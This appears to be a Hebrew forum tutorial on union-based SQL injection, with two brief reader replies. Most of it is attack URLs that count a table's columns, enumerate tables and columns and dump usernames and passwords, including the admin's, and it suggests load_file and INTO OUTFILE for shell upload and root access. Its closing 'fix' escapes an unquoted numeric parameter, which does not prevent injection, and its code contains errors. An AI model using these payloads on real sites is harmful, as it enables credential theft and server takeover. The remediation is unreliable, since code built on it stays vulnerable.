מדריך לBasic SQL Injection

[Zer0Day]

מדריך לBasic SQL Injection

פרקים:
1.מזה בעצם ? אפשר דוגמא לקוד בקשה ?
2.ניצול הפריצה
3.רק שליפת נתונים ? זה הכל ?
4.סגירת הפריצה

מזה בעצם ? אפשר דוגמא לקוד בקשה ?

אז מזה?
פריצת מסד נתונים ,SQL Vulentiniy.
מאפשר גישה מלאה למסד + לשרת .
משגיאה אחת קטנה של המתכנת להשגת ROOT על היעודי.
איך זה עובד?

<?php
$query="SELECT text FROM pages WHERE pageid=$_GET['id']";
mysql_fetch_array($quert);
?>

בעקרון ככה.
עכשיו מה אנחנו עושים?
עורכים את המשתנה ID לשליפת נתונים אחרים כגון ססמאות מהטבלה users.
בפרק הבא נלמד איך לנצל את הפריצה ,ממליץ ללמוד SQL קודם.

ניצול הפריצה

איך אני מנצל את הפריצה לעזאזל?!!?
אז...
הינה המדריך ^_^
[ CODE]http://www.site.com/index.php?id=1 order by 1-- no error
http://www.site.com/index.php?id=1 order by 2-- no error
http://www.site.com/index.php?id=1 order by 3-- no error
http://www.site.com/index.php?id=1 order by 4-- no error
http://www.site.com/index.php?id=1 order by 5-- error[/CODE]
גילנו את מספר הטורים בטבלה pages.
כעת נשלוף.

http://www.site.com/index.php?id=-1 UNION SELECT 1,2,3,4--

נשלוף את הטבלאות.

http://www.site.com/index.php?id=-1 UNION SELECT 1,table_name,3,4  FROM information_schema.tables

כמובן שאפשר להשתמש בcontent() או group_content או אפילו עם WHERE לשפר את הנוחות.
אני לא אפרט על זה כאן.
אוקיי נבחר את הטבלה users.

http://www.site.com/index.php?id=-1 UNION SELECT 1,column_name,3,4  FROM information_schema.columns WHERE table_name='users'

כעת נשלוף את הטורים הרצויים ,username password.

http://www.site.com/index.php?id=-1 UNION SELECT  1,username,0x3a,password,3,4 FROM users

כמובן שאפשר לשלוף ממשתמש רצוי

http://www.site.com/index.php?id=-1 UNION SELECT  1,username,0x3a,password,3,4 FROM users WHERE username=admin

וזהו שלפנו תנתונים.

רק שליפת נתונים ? זה הכל ?

לא ,בכלל לא.
משהראתי לכם זה רק חלק קטן מימה שאפשר לעשות עם הפריצה ,כמו בשאר המדריכים שלי.
אפשר להשתמש בפונקצית load_file כדי לייבא קובץ כמו config.php ואפילו להעלאות שאל ולקבל ROOT עם SELECT INTO OUTFILE.
אני לא אפרט על הכל במדריך זה. אבל אני נותן לכם כיוונים ,רעיונות : ).

סגירת הפריצה

<?php
$id=mysql_real_escape_string($_GET['id']);
$query="SELECT text FROM pages WHERE pageid=$id";
mysql_fetch_array($query);
?>

עד כאן המדריך שלי!
תהנו!

[_vi7ut_]

תודה מוכר וידוע.

[sapirshemer]

כמו שכבר ציינו מוכר...תודה בכ"מ יעזור למתחילים